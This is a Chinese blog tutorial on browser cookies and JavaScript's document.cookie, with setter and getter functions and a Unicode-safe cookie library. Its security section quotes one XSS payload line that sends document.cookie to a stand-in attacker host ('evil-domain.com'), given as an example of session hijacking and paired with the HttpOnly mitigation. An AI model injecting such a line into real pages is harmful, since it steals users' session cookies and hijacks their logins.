【网络知识补习】❄️| Cookie详解 和 Document.cookie使用文档+运行实例

本文涉及的产品
.cn 域名,1个 12个月
简介: 🥝Cookie详解什么是 Cookie?使用 JavaScript 创建Cookie使用 JavaScript 读取 Cookie使用 JavaScript 修改 Cookie使用 JavaScript 删除 CookieCookie 字符串JavaScript Cookie 实例设置 cookie 值的函数获取 cookie 值的函数完整实例🍍Document.cookie使用文档+运行实例语法示例示例1: 简单用法示例2: 得到名为test2的cookie示例3: 只执行某事一次🍇一个小框架:一个完整支持unicode的cookie读取/写入器写入

🥝Cookie详解

什么是 Cookie?

Cookie 是一些数据, 存储于你电脑上的文本文件中。


当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。


Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:


当用户访问 web 页面时,他的名字可以记录在 cookie 中。

在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。

Cookie 以名/值对形式存储,如下所示:

username=John Doe

当浏览器从服务器上请求 web 页面时, 属于该页面的 cookie 会被添加到该请求中。服务端通过这种方式来获取用户的信息。


使用 JavaScript 创建Cookie

JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。


JavaScript 中,创建 cookie 如下所示:

document.cookie="username=John Doe";

您还可以为 cookie 添加一个过期时间(以 UTC 或 GMT 时间)。默认情况下,cookie 在浏览器关闭时删除:

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";

您可以使用 path 参数告诉浏览器 cookie 的路径。默认情况下,cookie 属于当前页面。

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";

使用 JavaScript 读取 Cookie

在 JavaScript 中, 可以使用以下代码来读取 cookie:

var x = document.cookie;

document.cookie 将以字符串的方式返回所有的 cookie,类型格式: cookie1=value; cookie2=value; cookie3=value;


使用 JavaScript 修改 Cookie

在 JavaScript 中,修改 cookie 类似于创建 cookie,如下所示:

document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";

旧的 cookie 将被覆盖。


使用 JavaScript 删除 Cookie

删除 cookie 非常简单。只需要设置 expires 参数为以前的时间即可,如下所示,设置为 Thu, 01 Jan 1970 00:00:00 GMT:


document.cookie = “username=; expires=Thu, 01 Jan 1970 00:00:00 GMT”;

注意,当删除时不必指定 cookie 的值。


Cookie 字符串

document.cookie 属性看起来像一个普通的文本字符串,其实它不是。


即使在 document.cookie 中写入一个完整的 cookie 字符串, 当重新读取该 cookie 信息时,cookie 信息是以名/值对的形式展示的。


如果设置了新的 cookie,旧的 cookie 不会被覆盖。 新 cookie 将添加到 document.cookie 中,所以如果重新读取document.cookie,将获得如下所示的数据:


cookie1=value; cookie2=value;


如果需要查找一个指定 cookie 值,您必须创建一个JavaScript 函数在 cookie 字符串中查找 cookie 值。


JavaScript Cookie 实例

在以下实例中,将创建 cookie 来存储访问者名称。


首先,访问者访问 web 页面, 他将被要求填写自己的名字。该名字会存储在 cookie 中。


访问者下一次访问页面时,他会看到一个欢迎的消息。


在这个实例中我们会创建 3 个 JavaScript 函数:


设置 cookie 值的函数

获取 cookie 值的函数

检测 cookie 值的函数

设置 cookie 值的函数

首先,我们创建一个函数用于存储访问者的名字:

function setCookie(cname,cvalue,exdays)
{
  var d = new Date();
  d.setTime(d.getTime()+(exdays*24*60*60*1000));
  var expires = "expires="+d.toGMTString();
  document.cookie = cname + "=" + cvalue + "; " + expires;
}

函数解析:

以上的函数参数中,cookie 的名称为 cname,cookie 的值为 cvalue,并设置了 cookie 的过期时间 expires。

该函数设置了 cookie 名、cookie 值、cookie过期时间。


获取 cookie 值的函数

然后,我们创建一个函数用于返回指定 cookie 的值:

function getCookie(cname)
{
  var name = cname + "=";
  var ca = document.cookie.split(';');
  for(var i=0; i<ca.length; i++) 
  {
    var c = ca[i].trim();
    if (c.indexOf(name)==0) return c.substring(name.length,c.length);
  }
  return "";
}

函数解析:

cookie 名的参数为 cname。

创建一个文本变量用于检索指定 cookie :cname + “=”。


使用分号来分割 document.cookie 字符串,并将分割后的字符串数组赋值给 ca (ca = document.cookie.split(’;’))。

循环 ca 数组 (i=0;i<ca.length;i++),然后读取数组中的每个值,并去除前后空格 (c=ca[i].trim())。


如果找到 cookie(c.indexOf(name) == 0),返回 cookie 的值 (c.substring(name.length,c.length)。

如果没有找到 cookie, 返回 “”。


检测 cookie 值的函数

最后,我们可以创建一个检测 cookie 是否创建的函数。


如果设置了 cookie,将显示一个问候信息。


如果没有设置 cookie,将会显示一个弹窗用于询问访问者的名字,并调用 setCookie 函数将访问者的名字存储 365 天:

function checkCookie()
{
  var username=getCookie("username");
  if (username!="")
  {
    alert("Welcome again " + username);
  }
  else 
  {
    username = prompt("Please enter your name:","");
    if (username!="" && username!=null)
    {
      setCookie("username",username,365);
    }
  }
}

完整实例

function setCookie(cname,cvalue,exdays){
    var d = new Date();
    d.setTime(d.getTime()+(exdays*24*60*60*1000));
    var expires = "expires="+d.toGMTString();
    document.cookie = cname+"="+cvalue+"; "+expires;
}
function getCookie(cname){
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name)==0) { return c.substring(name.length,c.length); }
    }
    return "";
}
function checkCookie(){
    var user=getCookie("username");
    if (user!=""){
        alert("欢迎 " + user + " 再次访问");
    }
    else {
        user = prompt("请输入你的名字:","");
          if (user!="" && user!=null){
            setCookie("username",user,30);
        }
    }
}

🍍Document.cookie使用文档+运行实例

获取并设置与当前文档相关联的 cookie。可以把它当成一个 getter and setter。

语法

读取所有可从此位置访问的Cookie

allCookies = document.cookie;

在上面的代码中,allCookies被赋值为一个字符串,该字符串包含所有的Cookie,每条cookie以"分号和空格(; )"分隔(即, key=value 键值对)。


写一个新 cookie

document.cookie = newCookie;


newCookie是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个cookie进行设置或更新。


以下可选的cookie属性值可以跟在键值对后,用来具体化对cookie的设定/更新,使用分号以作分隔:


;path=path (例如 ‘/’, ‘/mydir’) 如果没有定义,默认为当前文档位置的路径。

;domain=domain (例如 ‘example.com’, ‘subdomain.example.com’) 如果没有定义,默认为当前文档位置的路径的域名部分。与早期规范相反的是,在域名前面加 . 符将会被忽视,因为浏览器也许会拒绝设置这样的cookie。如果指定了一个域,那么子域也包含在内。

;max-age=max-age-in-seconds (例如一年为606024*365)

;expires=date-in-GMTString-format 如果没有定义,cookie会在对话结束时过期

;secure (cookie只通过https协议传输)

cookie的值字符串可以用encodeURIComponent()来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值).


备注: 在Gecko 6.0前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。


示例

示例1: 简单用法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// 显示: name=oeschger;favorite_food=tripe

示例2: 得到名为test2的cookie

document.cookie = "test1=Hello";
document.cookie = "test2=World";
var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
alert(myCookie);
// 显示: World

示例3: 只执行某事一次

要使下面的代码工作,请替换所有someCookieName (cookie的名字)为自定义的名字。

if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}

🍇一个小框架:一个完整支持unicode的cookie读取/写入器

作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。

/*\
|*|
|*|  :: cookies.js ::
|*|
|*|  A complete cookies reader/writer framework with full unicode support.
|*|
|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
|*|
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*|  Syntaxes:
|*|
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()
|*|
\*/
var docCookies = {
  getItem: function (sKey) {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) { return false; }
    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
    return aKeys;
  }
};

Note: 对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT,它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).


写入cookie

语法

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

描述

创建或覆盖一个cookie


参数

name (必要)

要创建或覆盖的cookie的名字 (string)。


value (必要)

cookie的值 (string)。


end (可选)

最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinity – string, Date object or null)。


path (可选)

例如 ‘/’, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。


domain (可选)

例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。


secure (可选)

cookie只会被https传输 (boolean或null)。


得到cookie

语法

docCookies.getItem(name)


描述

读取一个cookie。如果cookie不存在返回null。


参数

name

读取的cookie名 (string).


移除cookie

语法

docCookies.removeItem(name[, path],domain)


描述

删除一个cookie。


参数

name

要移除的cookie名(string).


path (可选)

例如 ‘/’, ‘/mydir’。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段。


domain (可选)

例如 ‘example.com’, ‘.example.com’ (包括所有子域名), ‘subdomain.example.com’。如果没有定义,默认为当前文档位置的路径的域名部分 (string或null)。


检测cookie

语法

docCookies.hasItem(name)


描述

检查一个cookie是否存在


参数

name

要检查的cookie名 (string).


得到所有cookie的列表

语法

docCookies.keys()


描述

返回一个这个路径所有可读的cookie的数组。


示例用法:

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));

🍏安全

路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略保护其不被读取.


Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击

💬总结

关于Cookie这一块我也是现学现卖,还有很多地方需要研究


本文第一部分Cookie详解是从JS代码出发,结合实例进行讲解

第二部分介绍Document.cookie使用文档+运行实例,包括一个简单的小框架


相关文章
|
3月前
|
监控 安全 网络安全
网络的高效运行
【8月更文挑战第21天】网络的高效运行
42 9
|
3月前
|
运维 监控 安全
如何保证网络的高效运行
【8月更文挑战第21天】如何保证网络的高效运行
42 15
|
3月前
|
运维 监控 安全
如何保障网络运行的高效性
【8月更文挑战第21天】如何保障网络运行的高效性
40 1
|
3月前
|
存储 Linux 网络安全
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
|
5月前
|
监控 网络协议 安全
Socket网络编程中的常见应用场景与实例分析
Socket网络编程中的常见应用场景与实例分析
|
5月前
|
JavaScript Java 测试技术
基于SpringBoot+Vue的网络相册的详细设计和实现(源码+lw+部署文档+讲解等)
基于SpringBoot+Vue的网络相册的详细设计和实现(源码+lw+部署文档+讲解等)
33 1
|
5月前
|
存储 弹性计算 网络协议
阿里云服务器ECS计算型c7实例详解_网络PPS_云盘IOPS性能参数
阿里云ECS计算型c7实例,基于三代神龙架构,采用Intel Ice Lake CPU,2.7 GHz基频,3.5 GHz全核睿频,提供高性能计算、存储和网络能力。支持vTPM和Enclave特性,适用于高网络负载、游戏、数据分析等场景。实例规格从2核4GB至128核256GB,最大网络收发包可达2400万PPS。详细规格及性能参数见官方页面。
109 1
|
4月前
|
机器学习/深度学习 TensorFlow API
Keras是一个高层神经网络API,由Python编写,并能够在TensorFlow、Theano或CNTK之上运行。Keras的设计初衷是支持快速实验,能够用最少的代码实现想法,并且能够方便地在CPU和GPU上运行。
Keras是一个高层神经网络API,由Python编写,并能够在TensorFlow、Theano或CNTK之上运行。Keras的设计初衷是支持快速实验,能够用最少的代码实现想法,并且能够方便地在CPU和GPU上运行。
|
4月前
|
JavaScript Java 测试技术
基于SpringBoot+Vue+uniapp的网络安全科普系统的详细设计和实现(源码+lw+部署文档+讲解等)
基于SpringBoot+Vue+uniapp的网络安全科普系统的详细设计和实现(源码+lw+部署文档+讲解等)
|
4月前
|
Windows
【计算机网络】已解决:“‘ping‘ 不是内部或外部命令,也不是可运行的程序或批处理文件”报错
【计算机网络】已解决:“‘ping‘ 不是内部或外部命令,也不是可运行的程序或批处理文件”报错
373 0